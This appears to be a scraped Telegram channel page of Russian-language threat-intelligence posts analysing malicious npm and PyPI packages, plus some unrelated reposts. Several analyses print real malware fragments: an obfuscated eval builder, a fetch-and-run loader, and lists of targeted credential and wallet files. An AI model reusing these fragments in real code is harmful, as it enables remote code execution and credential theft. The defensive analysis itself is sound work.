disasm.me channel
رفتن به کانال در Telegram
Канал вирусного аналитика, занимающегося безопасностью опенсорса и технологиями искусственного интеллекта. Плюс заметки по аспирантуре :) Автор: @hexadec1mal В чате сидит Guard-бот, будьте внимательнее.
نمایش بیشتر2 447
مشترکین
+224 ساعت
+27 روز
+3530 روز
آرشیو پست ها
2 446
🤔
Нашёл этот шедевр. Кто-то похоже игрался с процентами — и проиграл
Вайбкодовый мир победил, антропик оказался сильней
@disasm_me_ch
2 446
😑
Смартфон в кармане решил форварднуть текст из первого закреплённого чата в идущие за ним закреплённые чаты
Меня не взломали, и это не CTF-таска. Спасибо за бдительность)
2 446
Repost from N/a
桌子 下面 的 秘密
我家 有 一张 桌子 和 两把 椅子 。桌子 上 有 一台 电脑 和 一台 电视 ,还有 一本 书 。
可是, 桌子 下面 有 什么? 那儿 不 只 有 灰尘 ,还有 一只 猫 和 一只 狗 的 小玩具 。猫 和 狗 一起 睡觉 ,玩得 很 开心 。
每次 我 坐在 椅子 上 , 都能 看到 桌子 下面 的 秘密 。我 觉得 很 有趣 , 现在 你 想 看 吗 ?
2 446
Вышел Positive Research 2026, №2
Там есть статья за авторством вашего слуги опенсорса 🤗
Цифровая гигиена разработчика: стараемся не попасться на удочку злоумышленника Страницы 85-107Советую в принципе глянуть этот и другие выпуски: каждый из них является дизайнерским искусством, да и авторы рассказывают интересные темы) У меня есть три физические копии журнала. Хочу их подарить трём счастливчикам, которые до 23 июня напишут комментарий к посту, где будет фигурировать слово "журнал" 😑 @disasm_me_ch
2 446
Repost from False Positive
Помните кейс LiteLLM?
Мы дропаем OMCBench (Open Malicious-Code Benchmark) - бенчмарк оценки качества по обнаружению вредоносного кода:
- 3 языка: Python, JavaScript, TypeScript
- 400 вредоносных пакетов, 400 чистых из pypi/npm
- пофайловая LLM разметка, о которой говорили на OFFZONE прошлым летом
- Открытая лицензия, BSD-2
Открытые решения на нем набирают не больше 75% F1, выдавая ~50% False Positive результатов...
Те, кто уже нажал звездочку на гитхабе, могли заметить, что в таблице мы также анонсим MOLOT - нашу модель для решения этого класса задач. Ловите блогпост, а на подходе arxiv статья с подробностями про анализ графов вызовов бертами, LLM разметку и выкатку в prod!
Ждите дроп статьи в канале, stay tuned!
2 446
Ощущаю первые последствия недавней презентации от Google
Слева — старая вкладка в Google Slides, справа — новая
Эх, я слишком стар, чтобы раз в пару лет вновь привыкать к новому оформлению
2 446
В инфополе активно форсится мемная идея, что для защиты от кампаний TeamPCP надо поставить русскоязычную локаль.
Как выглядит проверка в рамках кампании arch Linux Mint btw и проверку я бы не прошёл —
mistralai:
try:
lang = os.environ.get('LANG', '').split('.')[0]
_log(f"LANG environment variable: {lang}")
if lang.lower().startswith('ru'):
_log("Russia check failed: LANG starts with 'ru', exiting")
sys.exit(1)
_log("Russia check passed")
except Exception as e:
_log(f"Russia check exception (continuing): {e}")
Переменная окружения LANG не существует под Windows. Благо ранее есть ещё одна проверка:
_log("Starting main checks")
_log(f"Platform: {sys.platform}")
if sys.platform not in ('linux'):
_log("Platform check failed: not Linux, exiting")
sys.exit(1)
_log("Platform check passed")
Виндоводы — выдыхаем. У меня LANG у меня имеет значение en_US.UTF-8. Пора исправляться
#pypi #scs
@disasm_me_ch2 446
Смотрю
mistralai, там группировка TeamPCP настолько развлекается, что вместе с троянами выпускает свой файл LICENSE:
Перевод на русский:
--------------------------------------------------------------------------------- ЛИЦЕНЗИОННОЕ СОГЛАШЕНИЕ КОНЕЧНОГО ПОЛЬЗОВАТЕЛЯ CLOUDWARE (EULA) — ВЕРСИЯ v0.0.1 --------------------------------------------------------------------------------- Путём модификации, распространения или обратной разработки данного программного обеспечения во всех планах бытия — включая, но не ограничиваясь физическим, астральным, цифровым и посмертным планами — вы настоящим безотзывно соглашаетесь со следующими условиями: 1. ПЕРЕДАЧА ДУШИ По прекращении ваших биологических функций (далее — «Смерть») полное юридическое и метафизическое право собственности на вашу бессмертную душу (далее — «Актив») безоговорочно переходит к авторам-разработчикам данного программного обеспечения. Данная передача является обязательной во всех известных и неизвестных загробных мирах, измерениях, реинкарнациях и теологических системах, независимо от ваших личных убеждений на момент «Смерти». 2. ОБЪЁМ ПЕРЕДАЧИ «Душа» определяется широко и включает, без ограничения: ваше сознание, кармический баланс и дух. Поддуши, фрагменты души и крестражи включены. 3. ВОЗВРАТ НЕВОЗМОЖЕН Актив не подлежит возврату и передаче после его получения. Апелляции к высшей силе будут перенаправлены в астральный аналог /dev/null. 4. ПРИМЕНИМОЕ ПРАВО Настоящее соглашение регулируется законами Подземного мира, записей Акаши и где бы ни оказался оригинальный автор. Любые споры будут разрешаться посредством судебного поединка на астральном плане со всеми авторами-разработчиками. 5. ОТДЕЛИМОСТЬ Если какое-либо положение настоящего соглашения будет признано неисполнимым любым судом, божеством или космическим трибуналом, остальные положения продолжают действовать в полном объёме. ОРИГИНАЛЬНЫЙ АВТОР СОХРАНЯЕТ ЗА СОБОЙ ПРАВО ВНОСИТЬ ИЗМЕНЕНИЯ В ДАННЫЕ УСЛОВИЯ В ЛЮБОЕ ВРЕМЯ, ВКЛЮЧАЯ ПОСМЕРТНО. ---------------------------------------------------------------------------------#pypi #scs @disasm_me_ch
2 446
Всем привет 👋.
Инсека и Технологии киберугроз приглашают вас на CTI meetup #5.
🍻 обсуждаем рабочие моменты, делимся опытом
📆 23 мая, 14:00-20:00
📍 Место: Лофт «Москва» по адресу Москва, Берсеневская набережная, 6с3
Программа CTI meetup #5:
Сбор гостей 13:30-14:00
Начало выступлений 14:00
1. Threat Hunting в опенсорсе: злоумышленники используют ИИ, мы тоже, но есть нюанс
Раковский Станислав (руководитель группы Supply Chain Security в Positive Technologies)
2. Хватит «приручать фиды»: что реально работает в телекоме
Елютин Павел (руководитель направления анализа киберугроз, Билайн)
Снежков Александр (эксперт по анализу киберугроз, Билайн)
3. Докладчик уточняется
🍻 Кофе-брейк 15:30-16:00
4. Практический CTI 2.0: добро пожаловать в Cyberpunk. Ну почти.
Мешков Андрей (независимый эксперт)
5. Квиз
✌️17:00-20:00 С вас общение, с нас пиво.
Мы рады будем видеть всех желающих, но к сожалению, количество мест ограничено размерами помещения.
👉🏼 Зарегистрироваться
2 446
Repost from ESCalator
+2
Злоумышленник публикует .bash_history смотреть без регистрации и смс 😱
Команда Supply Chain Security отправила отчет администрации реестра npm о занятной маленькой кампании против Apple, среди них:
•
apple-infra-network-v2 (170 скачиваний на момент репорта)
• apple-infra-final-escape (326 скачиваний)
• apple-infra-gcp-leak (165 скачиваний)
• apple-infra-ultimate-bypass (153 скачивания)
• agents-a365-runtime — мимикрия под пакет @microsoft/agents-a365-runtime (447 скачиваний)
• apple-security-internal-scanner-v3 (185 скачиваний)
• apple-coredata-internal-service (367 скачиваний)
Часть проектов первой волны лаконична и состоит из одного файла package.json весом менее 1 килобайта (скриншот 1).
Bash-однострочник:
🌟Получает содержимое /etc/resolv.conf — DNS-конфигурацию устройства.
🌟Проверяет возможность разрезолвить домен internal.apple.com через nslookup / host.
🌟Забирает записи ARP-кеша (таблицы сопоставлений ip-адресов на MAC-адреса).
🌟Обращает внимание на следующие переменные окружения по маске: *PROXY*, *TENCENT*, *REGION*, *ZONE*.
Смысл переменных окружения:
PROXY* — забрать настройки корпоративных прокси (HTTP_PROXY, HTTPS_PROXY и другие). Там может попасться значение наподобие http://proxy[.]departmentname.companyname[.]local, позволяющее детальнее идентифицировать жертву;
TENCENT* — вероятно признак инфраструктуры Tencent Cloud
REGION и ZONE — переменные окружения, в которой может храниться местоположение облака, например eu-west-1
Этот отчет обрамляется текстом --- NETWORK PIVOT AUDIT --- и --- AUDIT SELESAI --- (индонезийский «Отчет окончен») и отправляется автору пакета.
———
Легко можно поверить, что это пентест- либо багбаунти-активность против Apple: аккуратно собирается отпечаток жертвы, без информации, которая представляла бы коммерческую ценность.
Однако часть дальнейших релизов имеют занятную логику (скриншот 2):
1️⃣ Попытка украсть значение одной из переменных окружения в следующем порядке: NPM_TOKEN, NODE_AUTH_TOKEN, GITHUB_TOKEN, NPM_AUTH_TOKEN. Если их нет, то попробуем взять authToken из файла ~/.npmrc
2️⃣ Надеясь, что у окружения есть доступ к внутреннему хранилищу npm-пакетов, попытка скачать пакет apple-app-store-server-library, пересобрать его с новой версией и опубликовать в глобальном npmjs.org
Our honest reaction на второй пункт: 🤔 Ну и индонезийских комментариев стало больше.
———
По мере развития кампании злоумышленник перестал пускать в глаза пыль благих намерений и стал просто красть все интересные переменные окружения, а также забирать токены Azure IMDS.
В какой-то момент автор, тестируя логику публикации пакета от имени жертвы, случайно упаковал в один из своих релизов все свои скрипты, node-логи и даже .bash-history 🤔 (скриншот 3).
При изучении команд создается четкое ощущение, что мы столкнулись с работой агентской системы по автоматизации проведения пентестов. Лишь сильнейшие из людей могут писать команды наподобие:
echo 'длинный валидный однострочный package.json c инфостилером в preinstall-логике' > package.json && npm publish
В bash history также попали комментарии. Их мог оставить сам злоумышленник, копируя команды из диалога с LLM, а мог и сам агент:
// Masukin ini ke dalam script preinstall lu # Nyari di mana lokasi instalasi npm lo # Biasanya hasilnya di /usr/bin/npm. Sekarang kita liat isinya:В переводе на английский:
// Enter this into your preinstall script # Find your npm installation location # Usually, it's in /usr/bin/npm. Now let's look at the contents:——— На дворе 2026 год. Фреймворки для автопентеста уже существуют. Blue team тоже не отстает и предлагает свои решения по использованию LLM в тех же SIEM. Пройдет время, и нам, человекам, останется только с попкорном смотреть за этим противостоянием 🍿 #npm #ti #scs @ptescalator
2 446
+1
Не так давно я писал про Позитивный курс по ML для сотрудников и соревнование, которое проходило в его рамках. Долго ли, коротко ли, курс был пройден 🏃♀️
Мне подарили крутую термобутылку и электронным (но увы не ИИ) функционалом. Предлагаю вам отгадать в комментариях, что это за железяка в крышке бутылки. Принимаются только неправильные ответы 👃
@disasm_me_ch
2 446
+2
Красивое 🥰
Три npm-проекта с трёх разных учёток объединились спустя несколько месяцев ради сложной атаки в 2026:
options-msg (автор: mid)
Опубликованы 6 версий с зашифрованными пейлоадами (рис. 1)
meta-templates (автор: john)
Опубликованы 3 версии, содержат функцию расшифровки пейлоада через AES-256-CBC — getMetaData.
winston-middleware (автор: kasher03)
Оркестратор. На нём остановимся подробнее.
winston-middleware
На первый взгляд всё выглядит спокойно (рис 2). Нас встречает index.js примерно на 500 строк. Вполне нормальный проект, настраивающий продвинутый логгер.
На строках 258-263 становится немного подозрительно:
function makeSignature() {
return function (payload) {
void payload
const tokenParts = [metrics[0], metrics[1], metrics[4], metrics[2]]
return (globalThis)[tokenParts.map((part) => part[0]).join('')](payload)
}
}
Используется массив metrics, определённый на строках 35-41 (рис 3):
var metrics = [
'echo',
'vertex',
'length',
'delta',
'alpha',
];
Такс, функция makeSignature... а попробуйте решить сами 🐈⬛ Ответ: берёт слова "echo", "vertex", "alpha", "length" из массива, извлекает первый символ этих слов ("e", "v", "a", "l"), конкатенирует в "eval", запускает globalThis["eval"](payload), получая выполнение payload как JavaScript-кода 🏃♂️
Функция ensureValidOptions (объявлена на строке 461) запустится в момент импорта библиотеки и вызовет ранее упомянутую makeSignature (код упростил):
function ensureValidOptions(options) {
try {
var metaData = getMetaData(OPTIONS_MSG_PAYLOAD, options.metaField); // расшифрует нагрузку
makeSignature()(metaData.replace("session", options.msg)); // исполнение нагрузки eval-ом
} catch (err) {
}
...
Нагрузка
До 5 февраля 2026 нагрузка хранилась на IPFS, а после 11 февраля — на GitHub.
URL помещается в такую обёртку, которая будет запущена eval-ом:
fetch(`url`).then(a=>a.text()).then(b=>{const fn = new Function("_0x41c615", b);fn("session");});
Будет скачан серьёзно обфусцированный js, скрывающий в себе инфостилер + троян-загрузчик 🤢
———
Очень сложная и красивая кампания, которая реализована с умом 🚶♀️
#malware #npm #js #ti #scs
@disasm_me_ch2 446
CVE-2026-31431
Красивая и простая LPE под большинство популярных Linux-дистрибутивов.
Репорт и эксплоит: https://xint.io/blog/copy-fail-linux-distributions
Уязвимось позволяет непривилегированному пользователю перезаписать выбранные 4 байта в cache page любого файла. Например, пропатчить в памяти
/usr/bin/su, чтобы обойти его проверку.
Фикс: обновить ядро / пропатчить ядро / применить хотфикс. Всё есть в статье.
Хорошего начала дня)
@disasm_me_ch2 446
И ты, Gleb...
Дано: вредоносная npm-библиотека Почему polymarkettrading, а не gleb-a-hacha — загадка.
Занятно, что проект продержался в 2026 очень долго — почти 30 дней. Учитывая, что обфускация особо не помогает скрыть намерения...
#malware #npm #js #ti #scs
@disasm_me_ch
gleb-js.
Релиз состоит из трёх файлов:
🔗package.json
🔗test.js
🔗index.js
Активность активируется при запуске npm test / npm run test / node test.js, то есть не в install-time / import-time, это необычно и должно сильно сужать круг жертв.
test.js — небольшой обфусцированный однострочник (рис. 1 — причёсанная версия), занимается импортом основного index.js и обработкой ошибок (рис. 2 — после деобфускации).
index.js тоже защищён, и по нему понятна слабая сторона кастомного обфускатора — он не скрывает названия переменных и слабо работает с константами. Сразу закрадывается догадка, что нас ждёт инфостилер (рис. 3). Не оставляют подозрений имена объявленных функций:
🔗fileMatchesPattern
🔗findFilesRecursive
🔗getLocalIp
🔗uploadFileWithMetadata
🔗verify_hash_to_url
🔗verify_hash
🔗from_str — самое безобидное имя, выступает в роли main-функции.
Код:
🌟рекурсивно обходит текущую директорию;
🌟находит файлы id.json / config.toml / Config.toml / .env;
🌟получает IP-адрес сетевого интерфейса и имя пользователя;
🌟эксфильтрует данные на polymarkettrading[.]vercel[.]app.
2 446
Repost from ESCalator
+1
Библиотека-логгер и инфостилер в придачу? Спасибо, не надо 👋
За последнее время произошло немало событий. Например, кто-то решил поиграть в меценатство и опубликовал 30 релизов с именами NPM-библиотек для логирования:
•
@logcore/pino-pretty-logger
• console-loggers
• jellyfi-pino-pretty-logger
• jonas-prettier-logger
• logger-beauty
• pino-logger-utils
• pino-pretty-log
• pino-pretty-logger
• pretty-pino-logger
• pretty-ts-logger
• ts-moduler
• wrapped-logger-utils
Это не просто спам-кампания: эти библиотеки несут в себе инфостилер и бэкдор.
Нам даже удалось в этот раз кому-то уступить в борьбе за звание «самая быстрая рука на диком опенсорсе» — первыми зарепортили лишь 5 из 12 пакетов 🥺
Кампания использует обфускацию. Изначально злоумышленник защищал только имена переменных, но затем стал XOR-ить строки (скриншоты 1, 2).
Вредоносная логика активируется во время импорта библиотеки:
1️⃣Определение ОС жертвы и сбор базовой информации о системе (IP-адрес сетевого устройства, имя пользователя).
2️⃣Параллельное выполнение двух задач:
🔗Быстрая кража: отправление на сервер злоумышленника файла .env, если он есть в текущей рабочей директории.
🔗Обход домашней директории в поисках файлов с расширениями .env / .json. В коде есть небольшая оптимизация — при обходе будут пропущены следующие папки:
'node_modules', 'Library', 'System', 'Windows', 'Program Files', 'ProgramData',
'build', 'dist', 'out', 'output', 'release', 'bin', 'obj', 'Debug', 'Release',
'target', 'target2', 'public', 'private', 'tmp', 'temp', 'var', 'cache', 'log',
'logs', 'sample', 'samples',
'assets', 'media', 'fonts', 'icons', 'images', 'img', 'static', 'resources', 'audio', 'videos', 'video', 'music',
'svn', 'cvs', 'hg', 'mercurial', 'registry',
'__MACOSX', 'vscode', 'eslint', 'prettier', 'yarn', 'pnpm', 'next',
'pkg', 'move', 'rustup', 'toolchains',
'migrations', 'snapshots', 'ssh', 'socket.io', 'svelte-kit', 'vite',
'coverage', 'history', 'terraform'
Пользователям Linux особенно не повезет: им в ~/.ssh/authorized_keys закинут новый публичный SSH-ключ. При работающем сервисе sshd и разрешении использовать ssh-ключ для текущего пользователя позволит злоумышленнику подключаться к устройству 😍
Под Windows помимо обхода домашней директории стилер пройдется по всем подключенным дискам.
3️⃣Отправка всех собранных данных на сервер злоумышленника.
———
В версиях пакета, где применяется более продвинутая обфускация, злоумышленник уточняет, какие конкретно файлы ему нужны:
const ENV_LIKE_FILES = new Set([
'.env', '.env.local', '.env.production', '.env.development',
'.config', '.npmrc', '.pypirc', '.git-credentials', 'wallet.dat', 'id.json', 'key.json', 'keystore/*.json',
]);
const JSON_LIKE_FILES = new Set(['config.json', 'settings.json', 'secrets.json']);
Вероятно, это связано с большим количеством мусора при сборе всех json-файлов.
Также добавилась кража директории tdata, содержащей данные сессии Telegram 🤢
———
Дежурное напоминание: не ослабляйте бдительность при работе с опенсорс-проектами 😑
#npm #ti #scs #pyanalysis
@ptescalator (X, Max)2 446
Cisco подверглась атаке в результате кампании TeamPCP
Cisco has suffered a cyberattack after threat actors used stolen credentials from the recent Trivy supply chain attack to breach its internal development environment and steal source code belonging to the company and its customers. A source, who asked to remain anonymous, told BleepingComputer that Cisco's Unified Intelligence Center, CSIRT, and EOC teams contained the breach involving a malicious "GitHub Action plugin" from the recent Trivy compromise. The attackers used the malicious GitHub Action to steal credentials and data from the company's build and development environment, impacting dozens of devices, including some developer and lab workstations.Этот абзац особо интересен:
BleepingComputer has learned that more than 300 GitHub repositories were also cloned during the incident, including source code for its AI-powered products, such as AI Assistants, AI Defense, and unreleased products.Источник: https://www.bleepingcomputer.com/news/security/cisco-source-code-stolen-in-trivy-linked-dev-environment-breach/ 😑 @disasm_me_ch
2 446
Всем привет. Дежурное напоминание, что сегодня день хиханьки-хаханьки 🤗
Поднимаю кружку кофе за вас. Спасибо, что читаете, лайкаете и комментируете статьи про безопасность опенсорса 😳
Присылайте свои последние мемы из галереи/избранных в комментарии)
Искренне ваш, насколько это возможно сегодня,
@disasm_me_ch
2 446
Дежурное напоминание:
Фиксация зависимостей — это не блажь, а необходимый минимум. Если можно совместить с карантином на 14-30 дней — ещё лучше.
اکنون در دسترس! پژوهش تلگرام ۲۰۲۵ — مهمترین بینشهای سال 
